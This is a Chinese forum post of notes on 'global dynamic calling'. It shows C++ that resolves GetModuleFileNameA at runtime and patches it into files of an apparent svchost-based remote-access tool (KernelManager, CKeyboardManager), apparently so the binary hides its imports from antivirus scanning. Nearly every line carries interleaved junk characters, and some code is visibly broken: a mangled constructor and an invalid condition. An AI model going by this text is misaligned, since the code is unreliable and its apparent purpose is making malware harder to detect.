[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记' N- `6 R( `3 x6 k5 t5 O
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h* _% C& Q5 [: t( E/ x
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: A6 O! w) B, J9 XDTDY.h：2 D9 z) e. c9 q  j

# B2 Q9 H+ y, |#if _MSC_VER>1000
3 f$ y3 T' X1 D/ \7 d# z9 z#pragma once: |7 ^6 s/ ^2 i$ R6 S  A5 e
#endif //_MSC_VER>1000( l! ?# w& B1 H, {# j+ ~3 i5 ?: J
#include<windows.h>$ l" l- t2 i% l% v, H

9 i+ i8 s! I8 i7 c/ C% qtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
" l7 |+ r5 ^" E' z7 Sclass DTDY4 B5 ]% N( k# e" A$ p
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public:* |# q0 l3 q3 @' v4 y3 W1 P! g& \7 w- ?
DTDY();& h* c/ i7 {. b( n
virtual ~DTDY();
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. F1 e5 e( N0 I5 f, ?static pGetModuleFileNameA MyGetModuleFileName;* H6 Q. r4 l; X( a9 l
static BOOL FunInitiallization();
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. M; ]; r. `, E0 M#endif4 p$ y# ]+ {* Y& L
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; f( F$ ^1 f5 R3 J+ bDTDY.cpp:+ S8 S+ U* d. }5 g% S* T% P

' v# W' k8 J! t, _6 b! w% L& G#include "DTDY.h"9 c1 `7 w. t7 ~& A1 c) G
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;4 N& L- x- N1 j) ]
DTDY:TDY()
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}
6 J, \. l6 Q( O6 F2 Z; K) tDTDY::~DTDY()
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& A' S1 X" x1 V7 M  t: N5 PBOOL DTDY::FunInitiallization()2 ]  y6 b# a. B% o- p5 i3 }' ^# X
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HMODULE hModule=LoadLibrary("kernel32.dll");9 @- H. m. c4 ~  S/ j
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");% ]# g+ l! _+ e- O+ n0 B1 X+ S
if(!MyGetModuleFileName=) return FALSE;
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return TRUE;
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svchost.cpp:
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#include "DTDY.h"
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% Y- c! c: C: e& Q0 {: c- r0 eBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)$ a) j. S( u, V, S0 o
{
/ d( M" n/ ~* y2 e: G9 A- cswitch(ul_reason_for_call)
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# K& C0 M; h# F) S3 {case DLL_PROCESS_ATTACH:7 p) B% H8 f$ B$ h- v# Z9 y) B0 q
if(!DTDY::FunInitiallization()) return FALSE;
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break;$ {3 {8 D: u/ p& V) }) ^" g' L. w. C
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}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
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DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));# _: t9 ?# j1 B. o
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KernelManager.cpp:) x6 W+ C6 F, [1 V* |/ N' A* N
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#include "../DTDY.h"- G' I4 L0 r) \: j
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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* ~1 P  u6 P& _; s. E( B% lDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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